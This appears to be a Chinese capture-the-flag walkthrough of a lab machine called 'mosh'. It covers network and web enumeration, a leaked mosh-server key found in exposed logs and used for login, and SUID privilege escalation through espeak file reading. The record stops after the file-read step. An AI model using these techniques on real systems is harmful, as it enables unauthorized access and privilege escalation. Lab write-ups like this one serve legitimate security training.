信息收集

主机发现

```
┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:6f:75:99, IPv4: 192.168.56.247
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:13       (Unknown: locally administered)
192.168.56.100  08:00:27:d8:59:d7       PCS Systemtechnik GmbH
192.168.56.175  08:00:27:fb:d1:b1       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.981 seconds (129.23 hosts/sec). 3
responded
```

端口扫描

```
┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# nmap -p- 192.168.56.175
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-01 11:05 CST
Nmap scan report for 192.168.56.175
Host is up (0.00037s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:FB:D1:B1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds
```

```
┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# nmap -sT -sC -sV -O -p1,22,80 192.168.56.175
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-01 11:07 CST
Nmap scan report for 192.168.56.175
Host is up (0.0012s latency).

PORT   STATE  SERVICE VERSION
1/tcp  closed tcpmux
22/tcp open   ssh     OpenSSH 10.0 (protocol 2.0)
80/tcp open   http    nginx
|_http-title: 403 Forbidden
| http-robots.txt: 3 disallowed entries
|_/admin/ /backup/ /*-logs/
MAC Address: 08:00:27:FB:D1:B1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
```

```
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.86 seconds
```

Web -- 80

FUZZ

通过nmap的扫描发现有个/*-logs/，fuzz一下，看是什么logs

```
┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-
lowercase.txt -u http://192.168.56.175/FUZZ-logs/ --hc 404
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.175/FUZZ-logs/
Total requests: 56162

=====================================================================
ID           Response   Lines    Word       Chars       Payload


=====================================================================

000043523:   403        7 L      9 W        146 Ch      "mosh"



Total time: 0
Processed Requests: 56162
Filtered Requests: 56161
Requests/sec.: 0
```

发现还是403，枚举一下目录

目录枚举

```
┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-
directories-lowercase.txt -u http://192.168.56.175/mosh-logs/
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.175/mosh-logs/
[+] Method:                  GET
[+] Threads:                 10
```

```
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-
large-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/root                 (Status: 200) [Size: 30]
/reminder             (Status: 200) [Size: 37]
Progress: 56162 / 56162 (100.00%)
===============================================================
Finished
===============================================================
```

查看这两个文件

```
┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# curl 192.168.56.175/mosh-logs/root
* * * * * chmod u+s /bin/bash



┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# curl 192.168.56.175/mosh-logs/reminder
$(date +\%Y-\%m-\%d_\%H-\%M-\%S).log
```

To mosh

根据提示拼接log文件名（靶机默认尝试一分钟）

```
┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# $(date +\%Y-\%m-\%d_\%H-\%M-\%S)
2026-02-01_11-42-07: command not found



┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# curl 192.168.56.175/mosh-logs/2026-02-01_11-42-00.log
Failed binding to 0.0.0.0:60001
Error binding to any interface: bind: Address in use
Network exception: bind: Address in use



┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# curl 192.168.56.175/mosh-logs/2026-02-01_11-41-00.log
MOSH CONNECT 60001 PJioiUKG1ZFEHWNrmfei3A

mosh-server (mosh 1.4.0) [build mosh 1.4.0]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
```

```
[mosh-server detached, pid = 3030]
```

基于web检索mosh，可以知道获得端口和key

```
#KEY是会改变的
┌──(root㉿xhhui)-[~/Desktop/xhh/mosh]
└─# LANG=en_US.UTF-8 LC_ALL=en_US.UTF-8 MOSH_KEY=fUvAcxrSKnONmxZmlT4f3A mosh-
client 192.168.56.175 60001

#终端变为
Mosh:~$ id
uid=1000(mosh) gid=1000(mosh) groups=1000(mosh)
```

To root

```
Mosh:~$ find / -user root -perm -4000 -type f 2>/dev/null
/bin/bbsuid
/usr/bin/espeak
```

.. / espeak

File read

File read

This executable can read data from local files.

(a) Comment

The file content appears in the middle of other textual information as phonemes.

Unprivileged | Sudo | SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the *effective* privileges are not dropped.

```
espeak -qXf /path/to/input-file
```

Remarks

The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

可以读取文件